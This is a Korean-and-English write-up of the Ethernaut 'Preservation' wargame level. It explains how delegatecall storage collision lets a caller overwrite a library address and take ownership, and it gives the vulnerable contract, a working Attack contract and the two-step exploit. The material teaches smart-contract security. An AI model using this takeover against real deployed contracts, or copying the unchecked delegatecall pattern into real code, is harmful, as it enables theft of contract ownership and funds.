Ethernaut 16 Preservation
Ethernaut 16 PreservationEthernaut 16 PreservationEthernaut 16 Preservation 문제 풀이Ethernaut 16 Preservation writeup
Contents
문제
지문
This contract utilizes a library to store two different times for two different timezones. The constructor creates two instances of the library for each time to be stored. The goal of this level is for you to claim ownership of the instance you are given. Things that might help Look into Solidity's documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain libraries, and what implications it has on execution scope. Understanding what it means for delegatecall to be context-preserving. Understanding how storage variables are stored and accessed. Understanding how casting works between different data types.
코드
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint256 storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint256 _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
// set the time for timezone 2
function setSecondTime(uint256 _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint256 storedTime;
function setTime(uint256 _time) public {
storedTime = _time;
}
}배경지식
delegatecall은 다른 컨트랙트의 코드를 실행하지만, 실행 컨텍스트는 호출한 컨트랙트의 것을 그대로 사용한다. 여기서 컨텍스트란 storage, msg.sender, msg.value, address(this) 같은 실행 환경을 말한다.
즉 A.delegatecall(B의 함수)를 하면 코드는 B의 함수가 실행되지만, 상태 변수 읽기와 쓰기는 A의 storage에 적용된다. 이 문제에서는 이 성질 때문에 라이브러리의 storedTime을 바꾸는 코드가 실제로는 Preservation의 slot 0을 바꾸게 된다.
EVM storage는 변수명이 아니라 slot 번호를 기준으로 값을 저장한다. 단순 상태 변수는 선언 순서대로 slot 0, slot 1, slot 2에 배치된다.
Preservation의 storage 배치는 다음과 같다.
// Preservation
slot 0: address timeZone1Library
slot 1: address timeZone2Library
slot 2: address owner
slot 3: uint256 storedTime반면 LibraryContract는 상태 변수가 하나뿐이다.
// LibraryContract
slot 0: uint256 storedTimeLibraryContract.setTime()을 일반 호출하면 LibraryContract의 slot 0이 바뀐다. 하지만 Preservation이 delegatecall로 호출하면 같은 코드가 Preservation의 storage 위에서 실행된다. 그 결과 Preservation의 slot 0, 즉 timeZone1Library가 바뀐다. 이렇게 같은 slot 번호를 서로 다른 변수로 해석해서 생기는 문제를 storage collision이라고 한다.
setFirstTime은 인자로 uint256을 받지만 우리가 넣고 싶은 값은 공격 컨트랙트의 address다. 주소는 160비트 값이므로 uint160을 거쳐 uint256으로 올려서 전달한다.
uint256(uint160(address(attack)))공격 컨트랙트 주소를 uint256 값으로 변환해서 setFirstTime에 넘기면 된다. 이 숫자가 slot 0에 쓰이면 하위 160비트가 주소로 해석된다.
문제 코드 분석
먼저 delegatecall을 호출하는 부분이다.
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
function setFirstTime(uint256 _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
function setSecondTime(uint256 _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}setFirstTime은 timeZone1Library 주소로 setTime(uint256) 호출 데이터를 만들어 delegatecall한다. 반환값을 확인하지 않기 때문에 호출 성공 여부는 문제 풀이에 직접적인 제약이 되지 않는다.
호출 대상 주소는 상태 변수 timeZone1Library에 저장되어 있다. 이 주소를 공격 컨트랙트 주소로 바꿀 수 있으면, 다음 setFirstTime은 원래 라이브러리 대신 공격 컨트랙트의 setTime을 delegatecall한다.
다음은 라이브러리 코드가 실제로 쓰는 slot이다.
contract LibraryContract {
uint256 storedTime;
function setTime(uint256 _time) public {
storedTime = _time;
}
}LibraryContract 기준으로 storedTime은 slot 0이다. 그래서 storedTime = _time은 slot 0에 _time을 쓴다.
그런데 이 코드는 Preservation의 delegatecall로 실행된다. 따라서 실제로는 LibraryContract의 slot 0이 아니라 Preservation의 slot 0에 _time이 저장된다. Preservation의 slot 0은 timeZone1Library이므로, 첫 번째 호출로 timeZone1Library를 공격 컨트랙트 주소로 바꿀 수 있다.
공격 컨트랙트도 Preservation과 같은 위치에 owner가 오도록 storage layout을 맞춰야 한다.
contract Attack {
address public s0;
address public s1;
address public owner;
function setTime(uint256 _time) public {
owner = msg.sender;
}
}Attack.owner는 세 번째 상태 변수이므로 slot 2에 있다. 이 코드를 Preservation이 delegatecall하면 slot 2 쓰기는 Preservation.owner 쓰기가 된다.
공격 흐름은 두 단계다. 먼저 기존 라이브러리의 setTime으로 slot 0을 덮어 timeZone1Library를 공격 컨트랙트로 바꾼다. 그 다음 다시 setFirstTime을 호출해서 공격 컨트랙트의 setTime을 실행시키면 slot 2의 owner가 msg.sender로 바뀐다.
풀이
timeZone1Library 주소를 직접 바꾸는 함수는 없다. 하지만 setFirstTime이 delegatecall로 라이브러리의 slot 0 쓰기 코드를 실행하므로, 첫 번째 setFirstTime 호출로 timeZone1Library를 덮어쓸 수 있다.
공격 컨트랙트를 배포한 뒤, 공격 컨트랙트 주소를 uint256으로 변환해서 setFirstTime에 넣는다. 그러면 Preservation의 slot 0이 공격 컨트랙트 주소로 바뀐다. 이제 timeZone1Library가 공격 컨트랙트를 가리키므로, 한 번 더 setFirstTime을 호출하면 공격 컨트랙트의 setTime이 Preservation의 storage 위에서 실행된다.
익스플로잇
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Attack {
address public s0;
address public s1;
address public owner;
function setTime(uint256 _time) public {
owner = msg.sender;
}
}
Challenge
Description
This contract utilizes a library to store two different times for two different timezones. The constructor creates two instances of the library for each time to be stored. The goal of this level is for you to claim ownership of the instance you are given. Things that might help Look into Solidity's documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain libraries, and what implications it has on execution scope. Understanding what it means for delegatecall to be context-preserving. Understanding how storage variables are stored and accessed. Understanding how casting works between different data types.
Code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint256 storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint256 _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
// set the time for timezone 2
function setSecondTime(uint256 _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint256 storedTime;
function setTime(uint256 _time) public {
storedTime = _time;
}
}Background
delegatecall executes another contract's code, but the execution context remains that of the calling contract. Context here means the execution environment such as storage, msg.sender, msg.value, and address(this).
In other words, when you do A.delegatecall(B's function), the code runs B's function, but reads and writes of state variables apply to A's storage. In this challenge, that is why the code that changes the library's storedTime actually changes Preservation's slot 0.
EVM storage stores values by slot number, not by variable name. Simple state variables are placed in slot 0, slot 1, slot 2 in declaration order.
Preservation's storage layout is as follows.
// Preservation
slot 0: address timeZone1Library
slot 1: address timeZone2Library
slot 2: address owner
slot 3: uint256 storedTimeLibraryContract, on the other hand, has only one state variable.
// LibraryContract
slot 0: uint256 storedTimeCalling LibraryContract.setTime() normally changes LibraryContract's slot 0. But when Preservation calls it via delegatecall, the same code runs on top of Preservation's storage. As a result, Preservation's slot 0, i.e. timeZone1Library, changes. Two contracts reading the same slot number as different variables is called a storage collision.
setFirstTime takes a uint256 argument, but the value we want to put in is the attack contract's address. An address is a 160-bit value, so we can pass it up through uint160 and then to uint256.
uint256(uint160(address(attack)))Convert the attack contract address to a uint256 value and pass it to setFirstTime. When this number is written to slot 0, its lower 160 bits are interpreted as an address.
Code analysis
Start with the delegatecall call sites.
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
function setFirstTime(uint256 _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
function setSecondTime(uint256 _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}setFirstTime builds the setTime(uint256) call data for the timeZone1Library address and delegatecalls it. Because the return value is not checked, whether the call succeeds does not directly constrain the solution.
The target address of the call is stored in the state variable timeZone1Library. If we can change this address to the attack contract address, the next setFirstTime will delegatecall the attack contract's setTime instead of the original library's.
Next is the slot the library code actually writes.
contract LibraryContract {
uint256 storedTime;
function setTime(uint256 _time) public {
storedTime = _time;
}
}In LibraryContract, storedTime is slot 0, so storedTime = _time writes _time to slot 0.
But this code runs via Preservation's delegatecall. So _time actually lands in Preservation's slot 0, not LibraryContract's. Preservation's slot 0 is timeZone1Library, so the first call lets us change timeZone1Library to the attack contract address.
The attack contract also needs to match its storage layout so that owner lands at the same position as in Preservation.
contract Attack {
address public s0;
address public s1;
address public owner;
function setTime(uint256 _time) public {
owner = msg.sender;
}
}Attack.owner is the third state variable, so it is in slot 2. When Preservation delegatecalls this code, the slot 2 write becomes a write to Preservation.owner.
The attack flow has two stages. First, use the existing library's setTime to overwrite slot 0 and change timeZone1Library to the attack contract. Then call setFirstTime again to run the attack contract's setTime, which changes owner in slot 2 to msg.sender.
Solution
No function sets the timeZone1Library address directly. But setFirstTime runs the library's slot 0 write through delegatecall, so the first setFirstTime call overwrites timeZone1Library.
After deploying the attack contract, convert its address to uint256 and put it into setFirstTime. This changes Preservation's slot 0 to the attack contract address. timeZone1Library now points at the attack contract, so calling setFirstTime once more runs the attack contract's setTime on top of Preservation's storage.
Exploit
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Attack {
address public s0;
address public s1;
address public owner;
function setTime(uint256 _time) public {
owner = msg.sender;
}
}